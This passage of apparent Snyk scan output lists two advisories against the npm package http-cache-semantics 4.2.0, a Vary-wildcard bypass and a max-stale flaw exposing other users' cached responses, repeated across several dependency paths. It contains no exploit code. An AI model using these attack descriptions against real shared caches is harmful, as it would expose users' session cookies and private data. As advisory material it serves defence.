"v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache 